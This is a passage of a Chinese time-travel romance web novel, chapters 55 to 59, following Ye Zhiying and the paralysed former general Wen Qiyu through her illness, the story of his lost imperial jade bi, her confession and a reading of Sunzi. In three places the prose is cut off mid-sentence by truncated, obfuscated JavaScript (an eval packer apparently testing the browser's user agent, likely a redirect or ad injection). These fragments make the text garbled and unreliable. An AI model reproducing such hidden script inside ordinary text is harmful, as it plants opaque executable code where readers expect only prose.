这一刻,她恍然意识到一件事,自己如今或许真的被一个人爱着。这个人的爱没有条件、没有目的,即使她不是明星,即使她身无分文,即使她蛮不讲理,即使她自私卑鄙,甚至……即使她长着仇人的样子,他也愿意爱她——不从她身上索取任何好处,就是单纯地爱着她。 这是爱吧? 可他却说不是。 但若这都不是爱,什么才是爱? 叶之萤短短二十八年的人生从没遇到过这样毫无保留为她付出的人,也从没得到过这样不求回报的爱,因此有些不确定。 夏天的雨来得突然,去得也匆忙,不一会儿,周围就安静了下来,经过一场暴雨的洗礼,她心里平静了许多,这么小的城,用不了多久就会被他们找到。 她狼狈地拐回了温宅。温其玉就在门口坐着,他一个人坐在轮椅上焦急地四处张望,在潮湿的巷子里找寻她的身影。 虽然坐在屋檐下,但他身上的衣服早就湿透了,没比淋了一场暴雨的她好到哪里去。 看到她的那一刻,他长舒了一口气。 55. 暧昧让人受尽委屈 “我已命人为你备好了热水,回房泡个澡,驱驱寒气吧。”温其玉看着眼前那个浑身湿得如落汤鸡一般的女子,语气有些谨慎,仿佛生怕被她拒绝。 叶之萤走到他身边,默默推着他进了大门。 “对不起。”道歉时,他没有回头。 叶之萤望着轮椅上这个单薄而可怜的背影,不禁心里一酸,明明错的是自己,却每次都是他先道歉。 “该说对不起的是我,不是你!我一边心安理得地享受你对我的好,一边又嫌弃你的身体,明明这一切都是我造成的,却还恬不知耻地怪你,一而再再而三地伤害你。”她冷静地说完这番话,又忍不住笑了起来,她实在是为自己这样的行为感到羞耻! “不要怪自己。你的选择不过是人之常情,是我不够好,许多事情做不到,才让你如此纠结痛苦。”他依旧在为她说话。 叶之萤反问他:“人之常情就是对的吗?怎样才算足够好?这世上,哪里有十全十美的人?又有谁能无所不能?” 说话间,已走到了他房门前,她推他进去,指了指自己湿漉漉的衣服,说:“我就不抱你上床了,你在这儿坐一会儿,我拿浴巾给你擦擦身上的水。” 他忙拦下她,催促她离开:“阿力会照顾我,你快些回房去换衣裳,这样湿着,容易着凉。” 叶之萤不理会他,依旧取了浴巾为他擦衣服的雨水。 “你先擦,不要管我。”他看着她还在滴水的头发,扭头躲开了她手中的浴巾。 “我没事,你身子弱,不能着凉的!”她的手继续追了上去。 “叶姑娘,住手!不必给我擦。”他的声音突然一片冰凉,叶之萤当即顿在原地。 “请你出去。”温其玉闭上眼睛,紧紧咬着嘈杂,面部肌肉都控制不住地抖动。 他从没像此刻这样恨自己过!恨这孱弱的双手永远无法保护她,恨那无力的双腿永远无法追随她,更恨这残破的身躯只会拖累她、害她如此纠结痛苦。这样无能的自己,还有何颜面面对她? 叶之萤看他突然如此痛苦,被吓了一跳,她不知该怎么劝他,手足无措间只好拿着浴巾慌慌张张给自己擦了起来,希望他不要再生气。 温其玉没有听到叶之萤离开,一睁开眼就看到她慌乱讨好自己的样子,突然就笑了起来,那笑声比凛冽的寒风还刺骨,比深不见底的深渊还要让人绝望。 他佝偻着身子坐在轮椅里,头深深地埋在胸前,麻木的身体随着笑声无力地摇摆,可怜又孤独。 “对不起,温其玉!你别这样好吗?你已经很好了,真的很好了!我嫌弃你,是我眼瞎,是我的问题,不是你的问题,你不要因为我的错惩罚你自己好不好?对不起!对不起!”叶之萤被他的样子吓到,哭着向他道歉。 “抱歉,叶姑娘,请你先出去。”他闭起眼睛,脸上尽是痛苦。 叶之萤不敢再刺激他,放下浴巾,迅速离开了房间。 凄凉的笑声从房中传出,如同一道道鞭子,每一鞭都精准地抽在叶之萤心上。 她将头靠在门框上,看着漆黑的夜空被满天繁星点亮,那么美的星空,她却只看得到寒冷和黑暗。 不久,房间里重新恢复了平静,只偶尔传出几声叹气。 潮湿的衣服早已全部粘在了身上,此时,一阵凉风掠过,冷得她打了个颤。她一直在那里候着,直到阿力和荣祥进去伺候,才蜷缩着身子回了房。 泡澡的热水又被下人换了一盆,闻着有些苦,听端水来的人说,里面加了驱寒药,是温其玉特意嘱咐的。她泡在浴桶里,不知是不是药浴太熏眼,一直泪流不止。 泡完澡后,又有人端来了姜茶,紧接着,阿力又端来了还冒着热气的饭菜。 “他……怎么样了?”叶之萤忙问。 阿力一边摇头一边叹气:“只擦洗了身子,换了衣裳,不吃饭,也不让我们在房里伺候。” 叶之萤也跟着他一起叹气。 阿力又问她:“叶小姐,你怎么样?淋了雨,可有哪里不舒服?需不需要请林大夫来看看?” 叶之萤的鼻子一下就酸了。她心里很清楚,这些话都是那个人吩咐阿力问的。即使到了这种地步,他还在关心她。 “我没事,好得很,没有任何不适,告诉他不用为我担心!” 夜里,叶之萤做了一个梦。她又回到了喝毒药自尽的那天,她趴在温其玉的床边,虚弱地对他说:“温其玉,我想……我可能……喜欢上你了……” 她已看不清楚床上那张脸,只能看清那双狭长的凤眼在泛红的眼眶的映衬下温柔了许多。 “叶之萤,我也喜欢你!” 叶之萤猛然睁开了眼睛,从床上坐了起来。屋子里一片黑暗,伸手不见五指,而她的眼前却出现了真切的画面。 那句话又在她耳边一遍遍响起:“叶之萤,我也喜欢你!” 声音充满着留恋和痛苦。 是温其玉的声音! 这是梦吗?是自己的幻想吗?如果是梦的话,为什么这么真实? 她闭起眼睛仔细回忆,原本遥远模糊的画面越来越近,也越来越清晰,最终来到她的面前。 他躺在床上,红着眼眶着对她说:“那日,我意识到你或许对我产生了异样的情感,怕你越陷越深、会因此对这里心生留恋,亦不想成为你离开的羁绊,才故意说那样的话。” 她的眼皮越来越重,视线越来越不清晰,直到她的双眼完全闭起,耳畔才又传来了他哽咽的声音:“叶之萤,我也喜欢你!” 原来,自己早已对他袒露心声。 原来,他也早已对自己动情。 所以,他才会告诉关若飞送她一匹白马。 她终于回忆起来了那天的所有对话,所有事情都豁然开朗。 可那日,他却亲口对她说,他不喜欢她。 她差点就信以为真! 之后的几日,每到吃饭时间,阿力都准时把饭菜端到她房里。看来,温其玉是把她那日的气话当真了。 叶之萤对此有些失落,但也有些庆幸,如今的情况,真让她面对温其玉,她倒是有些心虚和尴尬了。 温其玉的身体素质比她想象的要强得多,第二日,他的精神便恢复如常了。 倒是她自己,那日在布庄不停地穿脱衣服,晚上又淋了雨吹了风,着凉导致了感冒,有些鼻塞咳嗽。但因为及时泡了驱寒药浴,所幸并不严重。 温其玉像是对此有感应似的,几次问阿力她的身体是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“啊?他也被我吵醒了?”她悄声问阿力,生怕被隔壁听见了声音。 “今晚是我值夜,少爷听见你咳嗽,才急忙叫醒我的。”说到这儿,他也压低了声音,“少爷刚刚冲我发火了!” “啊?为什么?”温其玉发火,可真是个稀罕事儿,叶之萤预感此事可能和自己有关。 果不其然,阿力说:“刚才我睡得有点沉,少爷叫了我好几次我都没听见,醒来后,少爷那脸色难看的!催我赶快吩咐厨房熬梨水煎药。交代完厨房,我一回房少爷就问我你是不是病了,我当然说不是,但少爷不相信,问我为何要骗他,我当时一慌,大脑一片空白,不知道该怎么回答,只能把你拉出来,说是你不让我说,结果少爷很生气地警告我,‘不要忘了你是谁的人’。” 叶之萤实在想象不出来温其玉说这话时的样子,但依然对阿力表示抱歉:“真对不起啊,连累你了!” 阿力摇头道:“日后我可不敢再帮你骗少爷了。还好这次只是警告,若是再被少爷发现,肯定会挨罚的。这碗梨水你先喝了,厨房里还熬着平喘的汤药,等下熬好了我再给你端过来。我要先去给少爷复命了。” “复命?” “把你的情况告诉少爷啊!少爷还等着呢!我得走了,要不少爷该等急了。” 她端起碗趁热喝了梨水,梨水甜滋滋的,从嘴里一路甜到心里…… 56. 玉璧的来历 不久,阿力又端来了一碗药,碗边还放着一颗糖。 叶之萤站在门口,从他手中接过托盘,正要关门,门却被阿力用手挡住。 “还有事?”她问。 “叶小姐不如现在就喝吧。”听这话的意思,若是她不喝,他恐怕是不会走的。 不用问,这肯定是温其玉怕她不喝药特意交代的。 但不得不说,温其玉确实很了解她。 “你先回房吧,我等下就喝。” “这药得趁热喝药效才好,叶小姐还是现在就喝了吧。”阿力步步紧逼。 “刚喝了那么多梨水,还没消化呢,真喝不下别的了,你把药给我,等会儿我肚子没那么胀了肯定喝,你放心!”她摸着肚子,装出一副撑得难受的样子。 阿力见她如此,压低声音求她:“叶小姐,别为难我了。” 她也反求他:“力哥,你也别为难我了,我真喝不了这药!” “不是我为难你,是……”阿力说着,无奈地瞟了一眼隔壁。 隔壁的门也开着,僻静的深夜,地上掉根针都能听得清清楚楚,他俩这样站在门口一来一回地打着嘴仗,隔壁房里的人定是听得清清楚楚。 “我刚才只是被呛到了才咳那么严重,现在已经好了,根本不用喝药。”她故意冲着隔壁大声说话。 可谁知话音刚落,气管又开始发痒,且痒的程度迅速膨胀,她甚至来不及躲进屋里,就站在门外疯狂咳了起来。 半饷,这阵咳嗽终于止住了。她尴尬地站在那里,再没心情和温其玉耗了。东方的天空已经泛白,再耗下去,大家都不用再睡了。 她接过阿力手中的碗,捏着鼻子直接把一碗药倒进嘴里。 浓郁的酸苦瞬间在舌头上蔓延开来,又顺着鼻腔直冲天灵盖。 她强忍着想要呕吐的冲动,把满口汤药使劲咽了下去。 可还不等她喘口气,胃里就一阵剧烈的翻涌,汤药全被反了上来,从口中喷涌而出。接着,又是一阵急促而慌乱的咳声和道歉声:“对……对不起……” 阿力手里的糖还没递给她,就被喷了一身汤药,这会儿,忙揪起胸前潮湿的布料,捂着鼻子问:“你……没……没事吧?” “阿力,她怎样了?”隔壁房里传来温其玉的声音。 “少爷,叶小姐把药全吐了。”阿力冲着隔壁屋子喊道。 “我没事,我只是受不了那个味。”怕他心里急,叶之萤忙咧着嘴对着隔壁的屋子解释。 “先扶她回房休息吧。” 没想到天刚一亮,林大夫就被请来了。好在她的情况并无大碍,只是由于实在喝不下药,林大夫不得不将喝药改为每日针灸一次。 灸到第三日,叶之萤就完全康复了。不吃药还恢复得如此神速,林大夫盛赞她脉搏有力,百病难侵,体魄之强健实属难得一见。 她则借机提醒安插在她身边的那个“监视器”:“阿力,听到了吗?林大夫夸我身体好,记得把这些话一字不差传给你家少爷听,省得他成天瞎操心!” 咳嗽会传染,借着这个理由,她心安理得地躲着温其玉,直到五月二十五,第二次去沈氏布庄上班,中间都没有再见他。 都说情场失意、职场得意,但这句话对叶之萤来说并不适用。 她本信心满满第二次能挣十两银子,结果天不遂人愿,摩拳擦掌到了布庄,刚把样衣换好,外面就下起雨来。淅淅沥沥的雨下的不停,阴沉的天气让人心情烦躁不安。街上连人都没有,布庄自然也没有生意,一上午的营业额只勉强七两,还不到中午,沈老板便让她回去了。 见时间还早,她亦不想回去面对温其玉,便邀阿力去满记茶楼喝茶。 二人相对而坐,阿力似乎有话想对她说。 “怎么了?”叶之萤主动问他。 “你……你最近为何都不去看少爷了?”阿力两手搓着茶杯,吞吞吐吐地问她。 “我感冒嘛,怕传染给他。”叶之萤心虚地摸了摸头发。 阿力突然放下了杯子,她也只好跟着他放下。 “叶小姐,你和少爷之间的事情,我本不该多嘴。但这些日子,你们的事我都看在眼里。少爷他喜欢你!” 连阿力都看出来了?! “是……是吗?”她端起茶杯,紧张地来回搓着杯子。 “少爷对你做的许多事,若不是因为喜欢你,岂不是太过僭越?”阿力反问道。 “也许是因为我发现他中毒,还帮他找到了解药,他出于感谢,才对我……”她还试图为那些行为找正当的理由,可这些理由如今连她自己都说服不了了。 阿力对她逃避的态度有些失望:“别说是我了,就连刚来没多久的荣祥都看出来了的事情,叶小姐,我不信你一点都感觉不到。” 原来所有人都看出来了。 他看她没有回答,便继续说:“有些事,或许是你没留意到,又或许是看到了却选择了逃避。” 自从温其玉因她而性情大变,叶之萤的脊骨上便一直被一块无形却沉重的石头压着,压得她抬不起头,以至于面对阿力如此血淋淋的对话,她也只能死死地捏着手里的杯子,连一句解释的话都说不出来。 阿力看她这么紧张,便放缓了语气:“端午那日下午,我在帮少爷更衣的时候发现他身上戴的那枚羊脂白玉璧不见了,我当时很着急,少爷却十分平静地说,许是人多挤掉了。那么重要的东西丢了,少爷一点都不心急,这太反常了。那日,少爷一直和你在一起,那玉璧到底是如何丢的?那日找到你们时,你灰头土脸、衣衫破烂,而少爷的玉璧也不见了,当日下午,少爷便让我通知荣祥快马加鞭日夜不休赶到黎城,第二日便不让你再照顾他了,那日到底发生了什么?” “玉璧?你是说他身上那枚白色的玉环?是对他而言非常重要的东西吗?”那枚玉环,叶之萤当然知道是怎么丢的,而听阿力的语气,显然他也在怀疑这玉环的失踪与她有关。 以及,荣祥果然是温其玉为了支走她特意叫来的。 从阿力的口中,她终于得知了那枚玉璧的来历。 七年前,也就是温其玉二十岁时,他第一次作为主将带兵与阿尔钦交战,便连胜七战,重新夺回了蒙州的实际控制权。而在此之前,邺国大军已经对阿尔钦兵十战十败,几乎要丢了蒙州。原本已经绝望了的蒙州百姓因为这几场漂亮的战役又重拾了斗志,整个邺国也都因此陷入疯狂。 这位年轻的将军横空出世,仅用了半年时间,便成为邺国上下最受人敬仰的战神。 圣上自然龙颜大悦,对他赏赐金银宝器无数,其中一件便是用外疆进贡的、宫里唯一一块顶级羊脂白玉打磨而成的玉璧。玉璧,乃玉器中的最高规格,全部由皇帝赐予,在邺国,只有为国立下赫赫战功的 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“我真的不知道那东西那么重要,如果知道的话,我肯定不会让他给人的!”知道真相后,叶之萤懊悔不已,当时真应该拦住那人的! 阿力却安慰她:“叶小姐,玉璧虽重要,在少爷心中,却不如你重要,能用那枚玉璧救你,他定觉得是值得的,你万不要因此自责。只是……此事对少爷而言,定是极大的打击,怪不得少爷这些日子都不敢在你面前吃饭和锻炼了,他定是生自己的气了,所以才……” “我在他心里真的这么重要?”叶之萤反问阿力。虽然已经知道温其玉喜欢自己,但是喜欢到什么程度,若非她今日亲耳听到这些话,还是很难想象。 “当然了,叶小姐,少爷其实非常敏感,他自知既不能陪你外出,也不能陪你玩乐,只能让你坐在床边与他聊天,他怕这样的日子久了你会无聊、生厌,所以他不敢主动找你,可是我们都看得出来,他是想见你的,所以他才算着时间,让荣祥抱他到房间外的躺椅上,这样,你一回来他便可以见到你。他让我们把饭菜端到他房里,也只是为了能多与你说几句话,多看一看你,这些对他来说已经是很幸福的事了。 荣祥刚来时,不知道躺椅上的那个坐垫是你做的,心想少爷素来爱美,这样的东西让少爷看到了岂不给他添堵?就顺手扔掉换了另一个,结果少爷知道后,劈头盖脸地骂了他一顿,让他把坐垫捡回来洗干净,又重新铺上。那么讲究的一个人,哪怕一条绦带、一个荷包的颜色和布料都必须与衣裳相配,却将你那个坐垫当成宝贝,这如何不是因为喜欢呢? 那日你送少爷的花,一直插在少爷床头的花瓶中,足足十日,那些花都已经变成了一把枯草,他依然视若珍宝,不许我们丢弃。 自那晚你们吵架后,你再没去看他,他每日躺在床上,听见外面有脚步声就急忙向门外张望,但从没等到你,他表面看着好像没什么,但我见他总是对着那束花发呆,心里恐怕是不好受的。 你染了风寒,他便日日问我无数遍你的情况,一直自责不该惹你生气害你生病,夜里房间静,只要你咳得稍微厉害些,他就愁眉不展。叶小姐,喜欢一个人的心是藏不住的!” “我以为……他只是有点喜欢我,我真的不知道,他已经陷得这么深了。” 今天和阿力谈话的信息量太大了,叶之萤一时之间甚至消化不了。 57. 试探 阿力见叶之萤对自家少爷的感情并不排斥,不忍再苛责她:“叶小姐,少爷如今的情况,无论你做出何种决定,我们都能理解你,你万不要有心理负担。我与你说这些,并不是想求你和少爷在一起。我知道,少爷他从未奢求过与你更近一步,他比任何人都介意自己的身体,他不想给你添任何麻烦。他只是想每天能看看你,与你说说话,在你需要帮助时愿意给他机会向你施以援手,仅此而已。他可以做到适可而止,不会令你感受到压力,更不会令你为难。因此对于少爷的感情,你不必逃避,你只要知道,能为你付出,他很快乐!这是他如今生命中难得的快乐,他不要求任何回报,不会束缚你的脚步,更不会干涉你的自由。” 一个人的爱,真的可以如此卑微而伟大吗?什么都不图,真的会有这样的人吗?真的有吗?叶之萤想不通,也不理解。 阿力继续道:“今日这些话,请你千万不要让少爷知道。我只想恳求你,能不能不要再故意躲着他?” “阿力,”叶之萤的声音有些嘶哑,坦白道,“我不是因为讨厌他才躲着他,我只是不知道该怎么面对他。他的痛苦是因我而起,对此,我很自责,因为我既做不到接受他,又做不到忘了他,我也不知道自己到底想怎么样!以前,我不确定他喜欢我,还可以当做什么都没发生去面对他,可是现在,我心里很乱,真的不知道该用什么态度和他相处了。” “叶小姐,我明白你的感受,说到底,你对少爷是有情的,否则也不会这么难以抉择。但是你真的不必自责,少爷从来没怪过你,人要为自己负责,你有权利做任何决定。” “为自己负责?”她反问道,这话倒不像是从阿力嘴里说出来的。 “是啊!我十五岁便跟着大将军上战场了,六年时间,我从一个连刀都不会拿的小兵变成了大将军的心腹,在战场上,大将军还曾救过我的命,倘若不是他,如今这世上也不会再有陈阿力这个人了。”一说起军营的事,阿力对温其玉的称呼就自然地改了口。 “在军营里,我是大将军的左膀右臂,不仅为他处理各种事宜,也照顾他的日常生活,是他最信任的下属。没想到大将军突然出事,再也不能上战场了,我当即便决定离开军营,留在他身边照顾他,直到他康复。当时少爷还只是双腿不能动,但即便如此,照顾一个那样的病人也比我想的要困难许多,我当时还不能像现在这样熟练的伺候,总是手忙脚乱,再加上一心为少爷的身体烦恼,所以情绪一直不好。少爷看我总是愁眉苦脸,以为我是不想照顾他又不好意思开口,便主动叫我到他身边,问我将来有何打算,他想安排我再回军营,或在禁军中为我谋个差事。我当然说我哪儿也不去,要留下来照顾他。那时,他对我说了一番话,他说,‘阿力,不要因为旁人的眼光给自己戴上枷锁。你来这世间,是为你自己而活,并非为我而活,不必强迫自己留在我身边,我亦不会如此要求你。没了你阿力,还会有其他人来照顾我,或许比你照顾得更好,你大可不必如此纠结。’” 为自己而活!温其玉对身边人都这样说,可他自己什么时候才能替自己想一想? 一行热泪顺着脸颊流到了嘴角,一抿嘴,那股咸涩便在嘴里晕开,叶之萤突然就不想喝茶了:“阿力,我们回去吧!” 出了茶楼,正对着上次买花的摊位,那些花沾上了雨水,更显娇艳欲滴。 “这是什么花?”那花杆约五十公分,长有细密的刺毛,从上到下都长满了花,最上面是待开的花苞,越往下开的越大,最大的差不多有碗口大,花瓣像餐巾纸一样,薄薄的,布满了竖纹褶,有白色、肉粉色、艳红色、粉紫色,叶子像手掌一样,又好像缩小版的梧桐叶。 “姑娘,这是蜀葵,早上刚采的,很新鲜,买一束吧!”那花贩说着便取了一支桃粉色的递给她看。 一摸上那花瓣,叶之萤灰蒙蒙的心情就被它着成了暧昧的粉色。 她买了三支扎成一束,看着这束花,心已经先一步飞到了那间屋里,想象着那人收到花的样子,忍不住开心起来。 挪开油伞抬头望天,雨虽然还下着,天边却镶了一圈明媚的金色光晕。 一路小跑,赶回了温宅。 当叶之萤推开温其玉房门时,荣祥正夹了一片山药喂到他嘴边,看到她进来,床上的人下意识把头往旁边一转,不再吃饭。 “为何……回来得这么早?”这是自那晚他当着她的面崩溃之后十天以来二人第一次再见面,他显然还没准备好,语气都有些不自然,不知是不是又想起了自己那日的窘态。 叶之萤大大咧咧地走了进去:“你赢了,我得给你读三天书!” 语气平常得仿佛他们之间什么也未曾发生过。 “你被辞退了?”他睁大眼睛问她。 叶之萤一口老血差点喷出来:“瞎说什么!是因为下雨没生意,我跟沈老板约好了等天晴再去一次,所以今天就早些回来了。” 他笑了起来:“这么说来,只是赌局推迟了,也不算我赢。” 刚刚在路上,叶之萤满脑子都在想,见到温其玉后要说些什么、做些什么怎么才能让二人之间的氛围回到从前,可让她没想到的是,只是一看到他,她攒了十日的话匣子就再也收不住了,那些话急不可耐、争先恐后地想要往外跳,按都按不回去。 走到他床边,叶之萤看到上次送他的那束蔷薇花还插在床头的青玉花瓶里,正如阿力所言,那些花早已经面目前非,只剩一把枯杆,一想到阿力说他坚持不让他们扔掉这些破草,就觉得有些可笑,但更多的是感动。 “我又买了一束花,你看!”她把新买的那束蜀葵拿到了他面前。 “很美!”他笑着点头。 “这花……”她指着那把枯杆皱起了眉。 “我这就收拾!”阿力很有眼力价儿,迅速抱着花瓶出去了。 “别光顾着说话了,你先吃饭吧!” “已经饱了。”他说完,便吩咐荣祥收拾桌子。 “可是少爷,您都没吃几口呢!”荣祥看了看桌上那几盘明显没怎么动过的菜,抱怨起来。 叶之萤也跟着说:“是啊,我看这些菜都没动过,再吃点吧。” 他还是不愿意在她面前低头。 “哎哟!”叶之萤在此时突然哼唧了一声。 “怎么了?”温其玉立马紧张地打量起她。 “那个……刚刚雨大,我衣服都被雨淋湿透了,先回房去换一下,等会儿再过来帮你插花。”不等他回应,便放下手中的蜀葵,迅速跑回了自己房里。 再次返回温其玉房里已经是半个小时以后的事了,他靠着床头坐着,床上吃饭用的桌子已经收了起来。荣祥正在整理书架上的书。 “少爷,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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床上的人也抬起眼帘,等着她说下去。 “你是我上辈子和这辈子见过的所有男人中最好的一个!这不是在安慰你,而是我的真心话。否则……我……也不会喜欢你,我眼光一向很高的!” 这是她第一次在他面前坦诚自己的感情,在此之前,她从来没有对一个男性有过如此真挚的表达。笑容在她脸上渐渐绽开,望着他的目光也逐渐滚热。 至于为什么突然说这些话,叶之萤的初心是想要通过认可温其玉的方式让他停止自我否定和自我折磨。可在表白的那一瞬间,心中豁然生出的那份愉悦和兴奋才让她惊觉,原来她已经不想再压抑自己,不想再装模作样地演戏。当硬币抛出时,她直面内心才发现,真实而坦荡地面对眼前的人,才是她想要的答案。 “能得到叶姑娘的垂青,温某荣幸至极。只是落花有意、流水无情,奉劝叶姑娘莫要浪费大好光阴在不重要的人和事上,这世间还有许多美好之事待你去体验。”温其玉平静地说着,甚至连眼神细微的变化都让人捕捉不到。 他的演技真是极好的,连叶之萤这个专业演员也自愧不如。 “噢。”她心中难免沮丧,随手拨弄起了旁边的蜀葵。 58. 不懂历史的理科生 “你喜欢花?”眼看叶之萤情绪急转直下,温其玉试图主动打破空气中的尴尬。 叶之萤也不想被刚才的事影响气氛,便顺着他的话点头:“只是觉得养眼,没有深入研究。” 其实温宅里也有花,前院和内院都栽种着很多名贵美丽的花,且是根据宅院的风格、庭院景观的特点,结合不同的花开放的时节、高矮、大小、颜色对景观的影响特意设计过的,所以她从来不敢乱摘那些花儿,生怕因此破坏了园林景观的和谐与美感。除了庭院中的花,前厅也摆着一些插花,与平日里所见的风格截然不同。 “我看你这院子里倒是种了很多花,还有正厅那些雅致的插花,我以前还真没见过把花插在提篮里的,还有玉盘里!这里虽然大部分东西都不如我们那儿,但是不得不说,你们的审美比我们高级太多了!”她不禁感叹。末了,又看了一眼自己插的花,就只是字面意思的把花插进花瓶而已,毫无艺术感,跟外面那些极具美感、摇曳生姿的插花相比,简直没眼看。 “要不,这花还是让专业的人来插一下吧?”这么一比较,她都有点不好意思了。 他却看着那束蜀葵轻轻摇头:“我倒觉得这样最好,返璞归真。” “你就安慰我吧!不过……我爱听哈哈哈!” 一阵笑声过后,她开始为他读起了那本久仰大名的《孙子兵法》。 “孙子曰:兵者,国之大事。死生之地,存亡之道,不可不察也。 故经之以五事,校之以计,而索其情:一曰道,二曰天,三曰地,四曰将,五曰法。 …… 未战而庙算胜者,得算多也;未战而庙算不胜者,得算少也。多算胜,少算不胜,而况于无算乎!吾以此观之,胜负见矣。 第一篇读完了,还要继续吗?” 温其玉听得十分专注,专注到好像是在读一本此前从未看过的新书。而冷脸不做任何表情时的他看起来压迫感十足,甚至让叶之萤浑身上下袭来一阵莫名的紧张。 听她语气犹疑,他立马意识到自己过于严肃了,温柔地笑了一下,道:“今日读得倒是顺利。” 虽然被他内涵了,但叶之萤也不生气:“我原本以为《孙子兵法》高深莫测、晦涩难懂,没想到还挺通俗易懂的。” “那你可看懂了这篇讲的是什么?”他问她。 原来是想考她!好在这篇文章并不难理解,只是…… “‘庙算’是什么?”她问他。 温其玉解释道:“任何一场战役都不可贸然行动,在行动之前,官员们通常会与圣上在殿上对此次出征的利弊进行多方面分析和谋划,这便是‘庙算’,若是利大、胜算高,才会选择出兵,若弊大、胜算渺茫,则暂不出兵。” “也就是俗话说的,不打无准备的仗?”她总结他的话。 “对!”他点头。 “那我明白了。这篇先是讲了战争胜利的五个关键点,即道、天、地、将、法。‘道’是说君主要贤明,要给百姓灌注凝聚力,一个国家只有从上到下一条心,力往一起使,百姓心甘情愿与国家、君主共存亡,这个国家才能坚不可摧;‘天’、‘地’就是天时地利,排兵布阵要根据当时的环境、地貌等客观因素顺势而为;‘将’就是将领,是一支军队的大脑,也是最重要的核心位置。”说到这里,一想到对面坐的就是一位真正的将领,自己竟然还在他面前点评将领应该具备什么样的素质,颇有班门弄斧之嫌,叶之萤有些尴尬地停了下来。 温其玉一眼就看透了她的想法,看她不敢说了,便鼓励她:“为将者,须虚心接纳各方声音,择优取之。刚愎自负、妄自尊大乃将之大忌,你说得很好,无需妄自菲薄,继续讲。” 她硬着头皮继续说下去,但还是心虚地跳过了“将”那一条:“‘法’就是规矩、法律,所谓‘无规矩不成方圆’,任何队伍,想要激发出其最大的潜力,就必须要纪律严明、赏罚分明,就像战国时的秦军,也是通过商鞅变法且六世君主都严格执行秦律才打造出那样一支无坚不摧、战无不胜的军队,最终统一了六国。” 叶之萤一边说一边偷看温其玉的反应,看到他赞许地点了点头,心里一阵雀跃,继续说:“战争要审时度势,根据时局变化,权衡利弊后灵活布阵,不可死板照搬之前的策略,更不能纸上谈兵。用兵之计其实就是根据不同对手的不同性格制定不同的对策,掩藏自己的真实意图,并攻击对手的软肋使其暴露出弱点,最终消灭他。” 说完后,她试探地给他一个眼神,等待他的点评。 显然,他对她能说出这番话是有些惊讶的:“叶姑娘,我以为……” “你以为我看不懂?”她笑着反问他。 他抱歉地笑了,便是承认了她的话。 “哎!我好歹也上了十几年学,《左传》、《论语》、先秦文学、唐诗宋词,也是学过一些的,虽然和你们比起来水平是差了些,咳……差了不少,但也不至于什么都不懂。我可不是没文化!” 温其玉对她的话产生了好奇,便问道:“那你们都学些什么?” “我们学的可多了,数学、语文、英语、地理、历史、政治、物理、化学、生物,还有音乐、美术、体育这些。”她看他一边思考一边点头,像是能理解这些科目的意义,但是说到理化生的时候,他的表情有了明显的停顿和迟疑。 她解释道:“物理,你可以理解为研究宇宙所有物质的规律的一门课。比如射箭时,弓弦的弹力会影响箭发射的速度,而拉弓的角度会影响箭发射的方向;向敌军阵营投石时,石头的落点会受到投石速度、高度、角度,以及自身重量的多方面影响。研究弓箭或石头是如何运动的,它运动的速度和方向受到哪些力的影响?这是力学。为什么我们站在一个空旷的山谷里说话,会有回声产生?我们又为什么能听见声音?这是声学。还有宇宙是如何产生的?太阳为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他却说:“世间万物皆有其道,此乃天命。若天命不可违,亦无需执着。你虽来自千年以后,却与我朝百姓看同样的典籍、过同样的节日,说同样的语言、书同样的文字、守同样的礼节,这足以说明我们的民族并未被异族侵占,我们的文化也并未断层,虽是不同朝代,却是一脉传承,这是令人开怀之事,不必难过。” 是啊,不管是周秦汉唐,还是宋元明清,不过都是符号罢了。中华民族五千年来都生活在这片上,延绵不绝,屹立不倒,任凭朝代更迭、外敌入侵,我们都依旧顽强地守护和传承着自己的文化和脚下这片土地,无愧为世界上最伟大的民族! 叶之萤听了他的话也豁然开朗,一脸崇拜地夸他:“温其玉,你的视野和格局大得令我惊讶,真不像个古人!” “嗯?”温其玉面露警惕,对她这样的表情,他有种不祥的预感。 果然,叶之萤突然开始手舞足蹈在他身上来回比划:“像个圣人!你知不知道,你现在浑身上下都散发着神圣的光芒!看这儿,还有这儿、这儿!” …… 温其玉瞬间满头黑线! 59. 让他快乐 闹腾了好一会儿,叶之萤才意识到他已经一个姿势坐了很久,赶紧问他:“你坐累了吧?要不要躺下休息会儿?” 谁知他突然就不说话了,板着脸坐在那里生起闷气来。 叶之萤看他如此,知道他是气不过自己的身体扫了兴。 温其玉其实是一个情绪很稳定的人,除了当时因为中毒影响了心性导致情绪异常外,很少见他会因为什么事发脾气,可这段时间,他却接二连三的情绪失控。 “怎么跟个孩子似的!”叶之萤打趣逗他。 对面的人根本不理她。 “小弟弟,是不是要姐姐哄才好啊?”她轻轻推了推他的胳膊,笑着问道。 他忽的一抬眼,睁大眼睛盯着她:“你……瞎说什么?” 叶之萤被他的反应逗得在心里暗笑,脸上却装得一本正经:“你二十七,我二十八,我比你大一岁,你可不是弟弟嘛!” 更别说,古代人不都是按虚岁算年龄吗?他这二十七指不定还是虚岁呢! 他却一脸从容道:“若真要论起来,我可比你大了千岁有余。” 她立马接上了他的话:“哎呀,那您是我祖宗啊,给~老~祖~宗~请~安!” 说着,便两手抱拳一本正经向他行起了礼。 最后几个字的音被她拉得老长,而和这几个字拉得一样长的,是温其玉的那张脸。 “人都说‘千年的王八’,要不我以后就叫你……王八祖宗?哈哈哈哈哈。”说完,叶之萤干脆直接笑趴在他的床上,眼泪都笑地飙了出来。 温其玉先是坐在那里憋闷地叹气,没过多久,也跟着笑了起来。 